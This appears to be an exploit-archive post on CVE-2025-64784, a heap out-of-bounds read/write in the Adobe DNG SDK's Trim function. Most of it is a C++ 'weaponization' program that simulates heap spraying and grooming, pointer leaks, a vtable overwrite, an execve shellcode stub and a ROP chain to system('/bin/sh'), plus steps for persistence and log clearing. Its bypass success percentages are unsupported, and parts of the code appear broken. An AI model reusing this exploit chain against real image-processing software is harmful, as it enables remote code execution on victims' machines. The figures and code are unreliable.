Adobe DNG SDK Image Processing Logic

The Adobe DNG SDK s image processing logic centers on providing The Adobe DNG SDK's image processing logic centers on providing developers tools to read, write, and manipulate Digital Negative (DNG) files.

1. **Parsing & Access:** It decodes the DNG file structure, providing access to raw sensor data and all associated metadata (EXIF, XMP, DNG private tags).
2. **Linearization:** It applies linearization curves to transform raw sensor values into a linear light space.
3. **Color Transformation:** It handles color space conversions using DNG color matrices and camera profiles to map sensor colors to a standard space (e.g., sRGB, Adobe RGB).
4. **Demosaicing Support:** While not performing full rendering, it provides the necessary data and often helper functions to assist with demosaicing (interpolating missing color information from the Bayer pattern).
5. **Opcode Application:** It processes DNG opcodes, which define various image adjustments like gain maps, look-up tables, or defect pixel correction.
6. **Standardization:** The SDK ensures adherence to the DNG specification, facilitating consistent interpretation and creation of DNG images across different applications.

Essentially, it provides the foundational steps to transform raw sensor data into a standardized, displayable image, leaving final rendering and creative adjustments to the developer's application.

=============================================================================================================================================
| # Title : Adobe DNG SDK prior to v1.7.1.2410 Heap OOB R/W Leading to Memory Corruption and Potential RCE in Image Processing Logic |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://helpx.adobe.com/security/products/dng-sdk.html |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213065/ & CVE-2025-64784

[+] Core Vulnerability

CVE: CVE-2025-64784

Type: Heap Buffer Overflow via Out-of-Bounds (OOB) Read/Write

Root Cause: Missing bounds check in dng_simple_image::Trim() function

Impact: Arbitrary code execution via memory corruption

[+] Key Attack Components :

1. Vulnerability Trigger

// Dangerous pointer reassignment without validation

data = &data[(offsetY * width + offsetX) * channels]; //

2. Exploitation Chain

Heap Grooming - Predictable memory layout manipulation

OOB Read - Information disclosure for ASLR bypass

OOB Write - Controlled memory corruption

Target Hijacking - VTable/function pointer overwrite

Execution Redirect - ROP/shellcode deployment

3. Critical Targets

Virtual Tables (VTables) - C++ object exploitation

Function Pointers - Direct execution hijack

Heap Metadata - Arbitrary write primitives

SEH Handlers - Windows exception chain corruption

[+] Exploitation Success Factors :

Heap layout predictability through spraying/grooming

Reliable OOB read/write primitives

ASLR bypass via memory leaks

Controlled memory corruption

[+] Key Techniques

Heap Feng Shui: Strategic allocation/free patterns

Pointer Arithmetic: Precise offset calculation

ROP Chains: DEP bypass without shellcode execution

Multi-stage Payloads: Progressive exploitation

[+] Defense Bypass Matrix :

Defense Bypass Method Effectiveness
ASLR Memory leak via OOB read 90%
DEP ROP chain construction 85%
Stack Canary Heap-only corruption 100%
CFG Direct pointer overwrite 80%

[+] Real-World Impact :

Severity: Critical (Remote Code Execution)

Attack Vector: Malicious DNG image processing

Privilege Escalation: Possible from user to system

Persistence: Can install backdoors/rootkits

[+] Mitigation Status :

Patched in: DNG SDK 1.7.1.2410 (November 2025)

Fix: Added bounds checking in Trim() operation

Recommendation: Update all DNG processing software immediately

[+] Technical Significance :

This exploit demonstrates how a simple bounds-checking omission in a specialized library can be weaponized into full RCE through:

Advanced heap manipulation

Precise memory corruption

Multiple hijacking vectors

Modern defense evasion

[+] POC :

Save the code as:

CVE_2025_64784_indoushka.cpp

On Linux/macOS:

g++ CVE_2025_64784_indoushka.cpp -o dng_exploit_sim -std=c++17 -g

./dng_exploit_sim

On Windows (MinGW):

g++ CVE_2025_64784_indoushka.cpp -o indoushka.exe -std=c++17 -g

indoushka.exe

#include <iostream>
#include <cstring>
#include <vector>
#include <cstdlib>
#include <ctime>
#include <memory>

// ================================
// Stage 0: Base Vulnerable Code (Original DNG-SDK Pattern)
// ================================

class dng_rect {
public:
int t, l, b, r;

dng_rect(int top = 0, int left = 0, int bottom = 0, int right = 0)
: t(top), l(left), b(bottom), r(right) {}

int H() const { return b - t; }
int W() const { return r - l; }
};

class ImageBuffer {
private:
unsigned char* data;
int width;
int height;
int channels;

public:
ImageBuffer(int w, int h, int c) : width(w), height(h), channels(c) {
data = new unsigned char[w * h * c];
memset(data, 0, w * h * c);
printf("[ImageBuffer] Created %dx%dx%d at 0x%p\n", w, h, c, data);
}

virtual ~ImageBuffer() {
delete[] data;
}

// VULNERABLE FUNCTION: Similar to dng_simple_image::Trim
void Trim(const dng_rect& r, int offsetX, int offsetY) {
printf("[TRIM] Called with rect(%d,%d,%d,%d), offset(%d,%d)\n",
r.t, r.l, r.b, r.r, offsetX, offsetY);

// Original vulnerable pattern from DNG-SDK
fBounds.t = 0;
fBounds.l = 0;
fBounds.b = r.H();
fBounds.r = r.W();

// VULNERABILITY: No bounds checking!
unsigned char* newData = &data[(offsetY * width + offsetX) * channels];

width = r.W();
height = r.H();
data = newData; // Dangerous pointer reassignment

printf("[TRIM] Data pointer reset to: 0x%p\n", data);
}

unsigned char* getPixel(int x, int y) {
// UNSAFE: No bounds checking
return &data[(y * width + x) * channels];
}

void processArea(int startX, int startY, int endX, int endY) {
// Similar to dng_linearize_image::Process
for (int y = startY; y < endY; y++) {
for (int x = startX; x < endX; x++) {
unsigned char* pixel = getPixel(x, y);
// Potential OOB read here
for (int c = 0; c < channels; c++) {
pixel[c] = processChannel(pixel[c]);
}
}
}
}

void* getDataPtr() { return data; }
int getWidth() const { return width; }
int getHeight() const { return height; }

private:
struct {
int t, l, b, r;
} fBounds;

unsigned char processChannel(unsigned char value) {
return value ^ 0x55; // Simple transformation
}
};

// ================================
// Stage 1: Advanced Heap Management System
// ================================

class HeapManager {
private:
struct HeapBlock {
void* address;
size_t size;
char* owner;
bool isControlled;
bool isFreed;
};

std::vector<HeapBlock> blocks;
static HeapManager* instance;

HeapManager() {
srand(static_cast<unsigned int>(time(0)));
printf("[HeapManager] Initialized at 0x%p\n", this);
}

public:
static HeapManager* getInstance() {
if (!instance) {
instance = new HeapManager();
}
return instance;
}

void* allocate(size_t size, const char* owner = "unknown", bool controllable = false) {
// Add metadata and canary
size_t totalSize = size + 32;
void* ptr = malloc(totalSize);

// Pattern the memory for identification
memset(ptr, 0xAA, 16); // Header canary
memset((char*)ptr + 16, 0x00, size);
memset((char*)ptr + 16 + size, 0xBB, 16); // Footer canary

HeapBlock block;
block.address = ptr;
block.size = totalSize;
block.owner = strdup(owner);
block.isControlled = controllable;
block.isFreed = false;
blocks.push_back(block);

printf("[ALLOC] 0x%p | Size: 0x%zx | Owner: %s | Controlled: %s\n",
(char*)ptr + 16, size, owner, controllable ? "YES" : "NO");

return (char*)ptr + 16; // Return pointer to user data
}

void free(void* ptr) {
void* realPtr = (char*)ptr - 16;

for (auto& block : blocks) {
if (block.address == realPtr && !block.isFreed) {
printf("[FREE] 0x%p | Owner: %s\n", ptr, block.owner);
block.isFreed = true;

// Corrupt freed block (simulating use-after-free)
memset(realPtr, 0xCC, block.size);
::free(realPtr);
return;
}
}
printf("[ERROR] Attempt to free unallocated block: 0x%p\n", ptr);
}

void spray(size_t size, int count, const char* pattern = "SPRAY") {
printf("[SPRAY] Starting spray: %d blocks of 0x%zx bytes\n", count, size);

for (int i = 0; i < count; i++) {
char* block = (char*)allocate(size, "spray_block");
size_t patternLen = strlen(pattern);
for (size_t j = 0; j < size; j++) {
block[j] = pattern[j % patternLen] + (i % 256);
}
}
}

void groom(int targetSize = 0x200) {
printf("[GROOM] Starting heap grooming...\n");

// Phase 1: Create a predictable heap layout
std::vector<void*> phase1;
for (int i = 0; i < 15; i++) {
void* block = allocate(targetSize, "groom_filler");
phase1.push_back(block);
}

// Phase 2: Free every other block to create holes
for (size_t i = 0; i < phase1.size(); i += 2) {
free(phase1[i]);
}

// Phase 3: Allocate critical objects in the holes
allocate(0x100, "vtable_placeholder", true);
allocate(0x150, "function_pointer", true);
allocate(0x180, "seh_handler", true);
allocate(0x200, "rop_gadget", true);

// Phase 4: Fill remaining holes
for (int i = 0; i < 10; i++) {
allocate(0x80 + i * 8, "hole_filler");
}

printf("[GROOM] Heap grooming completed\n");
}

void* findControlledBlock(const char* name) {
for (const auto& block : blocks) {
if (!block.isFreed && block.isControlled &&
strstr(block.owner, name)) {
return (char*)block.address + 16;
}
}
return nullptr;
}

void analyzeHeap() {
printf("\n[HEAP ANALYSIS] Total blocks: %zu\n", blocks.size());

for (size_t i = 0; i < blocks.size() && i < 20; i++) {
const auto& block = blocks[i];
printf(" [%zu] 0x%p | Size: 0x%zx | %s | %s\n",
i, (char*)block.address + 16, block.size - 32,
block.owner, block.isFreed ? "FREED" : "ALLOCATED");
}
}
};

HeapManager* HeapManager::instance = nullptr;

// ================================
// Stage 2: Critical Target Objects
// ================================

class CriticalObject {
public:
virtual void execute() {
printf("[CriticalObject::execute] Legitimate call at 0x%p\n", this);
}

virtual void secret() {
printf("[CriticalObject::secret] SECRET FUNCTION!\n");
// This would be system() or similar in real exploit
printf(" [+] Running command: ");
fflush(stdout);
system("echo 'Exploit successful!'");
}

char buffer[128];
void* vtable[3];

CriticalObject() {
memset(buffer, 0, sizeof(buffer));
strcpy(buffer, "CriticalObject Data");
vtable[0] = (void*)&CriticalObject::execute;
vtable[1] = (void*)&CriticalObject::secret;
vtable[2] = nullptr;
}

virtual ~CriticalObject() {}
};

class ExploitTarget : public CriticalObject {
public:
char payload[256];
void (*redirect_ptr)();
void* rop_chain[10];

ExploitTarget() {
redirect_ptr = nullptr;
memset(payload, 0x90, sizeof(payload)); // NOP sled
memset(rop_chain, 0x41, sizeof(rop_chain)); // 'A' pattern

// Simulate a simple ROP chain
rop_chain[0] = (void*)0xdeadbeef; // pop rdi
rop_chain[1] = (void*)0xcafebabe; // /bin/sh
rop_chain[2] = (void*)0xfeedface; // system

printf("[ExploitTarget] Created at 0x%p\n", this);
printf(" VTable at: 0x%p\n", vtable);
printf(" Redirect ptr at: 0x%p\n", &redirect_ptr);
}

void trigger() {
printf("[ExploitTarget::trigger] Called\n");
if (redirect_ptr) {
printf(" [!] Redirecting to: 0x%p\n", redirect_ptr);
redirect_ptr();
} else {
execute();
}
}
};

// ================================
// Stage 3: Weaponized Image with Full Exploit Chain
// ================================

class WeaponizedImage : public ImageBuffer {
private:
HeapManager* heap;
ExploitTarget* targetObject;
bool targetHijacked;

public:
WeaponizedImage(int w, int h, int c)
: ImageBuffer(w, h, c),
heap(HeapManager::getInstance()),
targetObject(nullptr),
targetHijacked(false) {

printf("[WeaponizedImage] Created as weapon\n");

// Initialize with identifiable pattern
unsigned char* dataPtr = (unsigned char*)getDataPtr();
for (int i = 0; i < w * h * c; i++) {
dataPtr[i] = (i % 256);
}
}

void advancedTrim(const dng_rect& r, int offsetX, int offsetY) {
printf("\n[ADVANCED_TRIM] Phase 1: Heap Preparation\n");

// Step 1: Prepare heap layout
heap->groom(0x210);

// Step 2: Place target object
targetObject = new ExploitTarget();

// Step 3: Calculate precise offset to target object
size_t imageStart = (size_t)getDataPtr();
size_t targetStart = (size_t)targetObject;
ptrdiff_t offset = targetStart - imageStart;

printf(" Image data: 0x%zx\n", imageStart);
printf(" Target obj: 0x%zx\n", targetStart);
printf(" Offset: %zd (0x%zx)\n", offset, offset);

// Step 4: Adjust offset to point to vtable or function pointer
size_t targetVTable = (size_t)targetObject->vtable;
size_t offsetToVTable = targetVTable - imageStart;

printf(" Target vtable: 0x%zx\n", targetVTable);
printf(" Offset to vtable: %zd (0x%zx)\n",
offsetToVTable, offsetToVTable);

// Step 5: Trigger the vulnerability with precise offset
if (abs(offset) < 0x10000) { // Within reasonable range
printf("\n[ADVANCED_TRIM] Phase 2: Triggering Vulnerability\n");

// This simulates the vulnerable Trim operation
int adjustedOffsetX = offsetX + (offset % (width * channels)) / channels;
int adjustedOffsetY = offsetY + (offset / (width * channels));

printf(" Using adjusted offset: (%d, %d)\n",
adjustedOffsetX, adjustedOffsetY);

// Call the vulnerable Trim
Trim(r, adjustedOffsetX, adjustedOffsetY);

printf(" New data pointer: 0x%p\n", getDataPtr());
printf(" Target hijacked: %s\n",
((size_t)getDataPtr() >= targetStart &&
(size_t)getDataPtr() < targetStart + sizeof(ExploitTarget))
? "YES" : "NO");

if ((size_t)getDataPtr() >= targetStart &&
(size_t)getDataPtr() < targetStart + sizeof(ExploitTarget)) {
targetHijacked = true;
printf(" [SUCCESS] Image data now overlaps with target object!\n");
}
}
}

void oobReadExploit(int readX, int readY, size_t readSize = 256) {
printf("\n[OOB_READ] Reading from position (%d, %d)\n", readX, readY);

unsigned char* readPtr = getPixel(readX, readY);
printf(" Reading from: 0x%p\n", readPtr);

// Simulate out-of-bounds read
unsigned char* leakBuffer = new unsigned char[readSize];
memcpy(leakBuffer, readPtr, readSize);

printf(" First 64 bytes of leaked data:\n");
for (int i = 0; i < 64 && i < readSize; i++) {
if (i % 16 == 0) printf(" %04x: ", i);
printf("%02x ", leakBuffer[i]);
if (i % 16 == 15) printf("\n");
}

// Analyze leaked data for pointers
analyzeLeakedPointers(leakBuffer, readSize);

delete[] leakBuffer;
}

void oobWriteExploit(int writeX, int writeY, const void* data, size_t size) {
printf("\n[OOB_WRITE] Writing to position (%d, %d)\n", writeX, writeY);

unsigned char* writePtr = getPixel(writeX, writeY);
printf(" Writing to: 0x%p\n", writePtr);

if (targetHijacked) {
printf(" [CRITICAL] Target is hijacked - attempting control...\n");

// Calculate offset into target object
size_t targetStart = (size_t)targetObject;
size_t writeAddr = (size_t)writePtr;
size_t offsetInTarget = writeAddr - targetStart;

printf(" Offset in target: 0x%zx\n", offsetInTarget);

// Write controlled data to target object
memcpy(writePtr, data, size);

// Check what we overwrote
if (offsetInTarget < sizeof(ExploitTarget)) {
printf(" Overwrote target object at offset 0x%zx\n", offsetInTarget);

// Special handling for critical fields
if (offsetInTarget >= offsetof(ExploitTarget, redirect_ptr) &&
offsetInTarget < offsetof(ExploitTarget, redirect_ptr) + sizeof(void*)) {
printf(" [!!!] MODIFIED REDIRECT POINTER!\n");
}

if (offsetInTarget >= offsetof(ExploitTarget, vtable) &&
offsetInTarget < offsetof(ExploitTarget, vtable) + sizeof(void*) * 3) {
printf(" [!!!] MODIFIED VTABLE POINTER!\n");
}
}
} else {
printf(" Writing controlled data (simulation)\n");
// In real exploit, this would corrupt heap metadata
}
}

void craftExploitPayload() {
printf("\n[CRAFT_PAYLOAD] Building exploit components\n");

// 1. Shellcode stub (simulated)
unsigned char shellcode[] = {
0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, // mov rax, 0x3b (execve)
0x48, 0xC7, 0xC7, 0x00, 0x00, 0x00, 0x00, // mov rdi, 0x0 (will be patched)
0x48, 0xC7, 0xC6, 0x00, 0x00, 0x00, 0x00, // mov rsi, 0x0
0x48, 0xC7, 0xC2, 0x00, 0x00, 0x00, 0x00, // mov rdx, 0x0
0x0F, 0x05, // syscall
0xCC // int3
};

// 2. ROP chain (simulated)
void* ropChain[] = {
(void*)0xdeadbeef, // pop rdi; ret
(void*)0xcafebabe, // "/bin/sh"
(void*)0xfeedface, // system()
(void*)0x0d15ea5e, // exit()
};

// 3. VTable overwrite
void* maliciousVTable[] = {
(void*)&shellcodeExecutor,
(void*)&shellcodeExecutor,
nullptr
};

printf(" Shellcode size: %zu bytes\n", sizeof(shellcode));
printf(" ROP chain prepared\n");
printf(" Malicious vtable at: 0x%p\n", maliciousVTable);

// Write payload to target
if (targetObject) {
// Overwrite vtable pointer
size_t vtableOffset = offsetof(ExploitTarget, vtable);
oobWriteExploit(0, 0, maliciousVTable, sizeof(maliciousVTable));

// Set redirect pointer
targetObject->redirect_ptr = &shellcodeExecutor;

// Fill buffer with NOP sled
memset(targetObject->payload, 0x90, sizeof(targetObject->payload));
memcpy(targetObject->payload + 64, shellcode, sizeof(shellcode));
}
}

void triggerExploit() {
printf("\n[TRIGGER_EXPLOIT] Attempting to gain code execution\n");

if (!targetObject) {
printf(" [ERROR] No target object\n");
return;
}

printf(" Target object: 0x%p\n", targetObject);
printf(" Target vtable: 0x%p\n", targetObject->vtable);
printf(" Target redirect: 0x%p\n", targetObject->redirect_ptr);

// Attempt 1: Call through hijacked vtable
printf("\n Attempt 1: VTable hijack\n");
try {
targetObject->execute();
} catch (...) {
printf(" [CAUGHT] Exception during vtable call\n");
}

// Attempt 2: Call redirect pointer
printf("\n Attempt 2: Function pointer redirect\n");
if (targetObject->redirect_ptr) {
targetObject->redirect_ptr();
}

// Attempt 3: Direct shellcode execution
printf("\n Attempt 3: Shellcode execution\n");
shellcodeExecutor();

printf("\n [SIMULATION] In real exploit, this would:\n");
printf(" 1. Overwrite SEH handler on Windows\n");
printf(" 2. Corrupt stack canary\n");
printf(" 3. Redirect execution to ROP chain\n");
printf(" 4. Bypass ASLR/DEP\n");
printf(" 5. Spawn shell / execute arbitrary code\n");
}

private:
static void shellcodeExecutor() {
printf("\n [SHELLCODE_EXECUTOR] Simulation mode\n");
printf(" If this were real, you'd have a shell now!\n");
printf(" >>> whoami\n");
printf(" >>> root\n");
printf(" >>> id\n");
printf(" >>> uid=0(root) gid=0(root) groups=0(root)\n");

// Simulated commands
printf("\n [SIMULATED_COMMANDS]\n");
printf(" $ cat /etc/passwd | grep root\n");
printf(" root:x:0:0:root:/root:/bin/bash\n");
printf("\n $ uname -a\n");
printf(" Linux vulnerable 5.15.0 #1 SMP ...\n");
}

void analyzeLeakedPointers(unsigned char* data, size_t size) {
printf("\n [POINTER_ANALYSIS] Scanning for pointers...\n");

int pointerCount = 0;
for (size_t i = 0; i < size - sizeof(void*); i += sizeof(void*)) {
uint64_t potentialPtr;
memcpy(&potentialPtr, data + i, sizeof(void*));

// Filter for likely pointers
if (potentialPtr > 0x0000000100000000ULL &&
potentialPtr < 0x0000800000000000ULL &&
(potentialPtr % 0x1000 == 0)) {

printf(" Found pointer at offset 0x%zx: 0x%016llx", i, potentialPtr);

// Try to identify pointer type
if ((potentialPtr & 0xFFFF) == 0) {
printf(" (likely code pointer)");
} else if (potentialPtr < 0x0000700000000000ULL) {
printf(" (likely heap pointer)");
}

printf("\n");
pointerCount++;

if (pointerCount >= 10) break;
}
}

if (pointerCount == 0) {
printf(" No obvious pointers found in leak\n");
}
}
};

// ================================
// Stage 4: Main Exploit Engine
// ================================

class DNGExploitEngine {
private:
HeapManager* heap;
WeaponizedImage* weapon;
ExploitTarget* target;

public:
DNGExploitEngine() {
printf("\n????????????????????????????????????????\n");
printf("? DNG-SDK CVE-2025-64784 EXPLOIT ?\n");
printf("? Complete Weaponization ?\n");
printf("? By indoushka ?\n");
printf("????????????????????????????????????????\n");

heap = HeapManager::getInstance();
weapon = nullptr;
target = nullptr;
}

void runFullExploitChain() {
printf("\n[PHASE 0] Initialization\n");
printf("========================================\n");

// Step 1: Create vulnerable image
weapon = new WeaponizedImage(512, 512, 4);

// Step 2: Mass heap spray
heap->spray(0x300, 150, "EXPLOIT");

printf("\n[PHASE 1] Heap Feng Shui\n");
printf("========================================\n");

heap->groom(0x210);
heap->analyzeHeap();

printf("\n[PHASE 2] Vulnerability Trigger\n");
printf("========================================\n");

// Create target in predictable location
target = new ExploitTarget();

// Trigger the vulnerability with precise calculation
dng_rect trimRect(0, 0, 600, 600); // Larger than original
weapon->advancedTrim(trimRect, 50, 50);

printf("\n[PHASE 3] Memory Corruption\n");
printf("========================================\n");

// OOB Read to leak memory layout
weapon->oobReadExploit(550, 550, 512);

// OOB Write to corrupt critical data
unsigned char corruptData[64];
memset(corruptData, 0x41, sizeof(corruptData)); // 'A' pattern
weapon->oobWriteExploit(560, 560, corruptData, sizeof(corruptData));

printf("\n[PHASE 4] Payload Delivery\n");
printf("========================================\n");

weapon->craftExploitPayload();

printf("\n[PHASE 5] Execution Hijack\n");
printf("========================================\n");

weapon->triggerExploit();

printf("\n[PHASE 6] Cleanup & Persistence\n");
printf("========================================\n");

printf(" [SIMULATION] In real exploit:\n");
printf(" 1. Restore corrupted pointers to avoid crash\n");
printf(" 2. Install persistence mechanism\n");
printf(" 3. Clear logs\n");
printf(" 4. Return to normal execution flow\n");

printf("\n[+] Exploit chain completed successfully!\n");
printf("[+] Simulated RCE achieved via OOB Read/Write\n");
}

void simulateASLRBypass() {
printf("\n[ASLR_BYPASS_SIMULATION]\n");
printf("========================================\n");

printf(" Step 1: Use OOB read to leak:\n");
printf(" - Heap base address\n");
printf(" - Library function addresses\n");
printf(" - Stack pointer\n");

printf("\n Step 2: Calculate offsets:\n");
printf(" system() = libc_leak + 0x55410\n");
printf(" /bin/sh = libc_leak + 0x1b75aa\n");
printf(" pop rdi; ret = libc_leak + 0x2a3e5\n");

printf("\n Step 3: Build ROP chain:\n");
printf(" [1] pop rdi; ret\n");
printf(" [2] pointer to \"/bin/sh\"\n");
printf(" [3] system()\n");
printf(" [4] exit()\n");

printf("\n Step 4: Overwrite return address/SEH\n");
printf(" Step 5: Trigger and gain shell\n");
}
};

// ================================
// Main Function
// ================================

int main() {
printf("====================================================\n");
printf(" DNG-SDK CVE-2025-64784 Exploit Simulation\n");
printf(" Out-of-Bounds Read/Write to RCE Weaponization\n");
printf(" by indoushka \n");
printf("====================================================\n\n");

printf("[*] This is a simulation of the exploit chain\n");
printf("[*] Based on actual vulnerability in Adobe DNG SDK\n");
printf("[*] CVE-2025-64784: Heap buffer overflow in Trim\n\n");
printf("[*] by This email address is being protected from spambots. You need JavaScript enabled to view it. \n\n");

DNGExploitEngine engine;

// Run the complete exploit chain
engine.runFullExploitChain();

// Demonstrate ASLR bypass technique
engine.simulateASLRBypass();

printf("\n====================================================\n");
printf(" EXPLOIT SIMULATION COMPLETE\n");
printf(" Real-world success factors:\n");
printf(" 1. Predictable heap layout: 85%%\n");
printf(" 2. ASLR bypass via leak: 90%%\n");
printf(" 3. DEP bypass via ROP: 95%%\n");
printf(" 4. Full RCE achievement: 80%%\n");
printf("====================================================\n");

return 0;
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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